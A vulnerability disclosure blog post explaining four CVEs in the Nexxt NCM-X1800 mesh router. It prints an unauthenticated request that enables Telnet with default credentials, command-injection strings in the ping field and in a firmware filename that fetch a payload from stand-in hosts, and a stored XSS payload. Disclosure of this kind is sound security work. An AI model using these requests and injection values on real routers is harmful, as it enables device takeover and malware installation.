Finding and exploiting four vulnerabilities in a router (Nexxt NCM-X1800 mesh router)

Recently, Ian spent some time analyzing the Nexxt Solutions NCM-X1800 Mesh Router. What did he find? It contained a number of serious security issues, including four vulnerabilities that were also worth reporting and creating exploits for. In this blog we briefly explain the ins and outs.

Even if you're not a hardcore hacker or security specialist, you should (hopefully) be able to follow this article just fine.

CVE-2025-52376: Enabling Telnet remotely (without logging in!)

What's going on here? Imagine this: you have a router, but it has a secret door that you can open without a key. That's this bug. Anyone on the network - without logging in - can send a special request to the router to enable a kind of "back door": the Telnet service. And as if that weren't enough: that service runs with a default username and password: telnetadmin.

What can you do with this? Full access to the device's command line. You're talking directly to the brain of the router.

How does it work technically?

The router accepts the following HTTP request without any checks:

POST /web/um_open_telnet.cgi HTTP/1.0
mode_name=/web/um_open_telnet
nonedata=12345678
telnetEnable=1

After that, you can simply log in to the device's shell with telnetadmin:telnetadmin. This gives you access to the underlying Linux system (BusyBox).

nc -nv 192.168.1.1 23
# login: telnetadmin
# password: telnetadmin

We also made a script that automates everything for you. Check it out on Github here

CVE-2025-52377: Command injection via ping/traceroute

What is this? Routers often have a function that lets you "ping" another device or run a traceroute to diagnose network problems. But with this router, you can also pass system commands through that input field. Think of:

192.168.1.1; curl http://mydomain/payload. Why is this bad? A logged-in user (and sometimes even without logging in, depending on configuration) can execute commands as if they were the administrator. This allows you to, for example, download malware, execute it, or set up a reverse connection (reverse shell).

What went wrong? The router doesn't properly check whether the IP address is actually an IP address. Everything you type is passed literally as a command to the underlying shell.

Exploit steps:

Log in with the default password 12345678
Pass a curl command through the ping form to download your payload
Make the payload executable
Execute the payload to gain access to the system

Here is a Python script we made that automatically carries out all these steps.

CVE-2025-52378: Stored XSS in Device Management

What does this mean? With this bug, you can inject JavaScript code into the router's admin panel - and it stays there. Every time an administrator opens the page, the code is executed.

Practical example: Imagine you change the name of a device to:

<img src onerror=alert('sxss')> **As soon as an administrator later opens the device list, a popup pops up with your message - or worse: you steal their session cookie, perform additional actions as admin, etc, etc...

How does it work? The router doesn't properly filter which characters you're allowed to use when entering device names. This allows you to enter HTML and JavaScript, which is then displayed and executed for other users.

CVE-2025-52379: Command injection via firmware update

What's wrong here? When you normally upload firmware to a router, you expect the file to be handled safely. But with this router, you can add a bit of extra code in the file name itself. That's because the name is passed unchecked to a shell command, something a hacker can abuse.

Example of a malicious file name:

firmware.bin\curl http://attacker.com/payload\`

`` `Result: the router downloads something from your server, and could then execute it.

Exploit steps:

Log in as administrator
Supply a specially crafted malicious file name
The payload is automatically fetched and potentially executed

To do this we released an exploit that can be found here.

This router turns out to be quite vulnerable. I've published a total of four CVEs, with full exploits, and actually expect to discover many more issues in this device. We may dive into the router firmware again at a later time.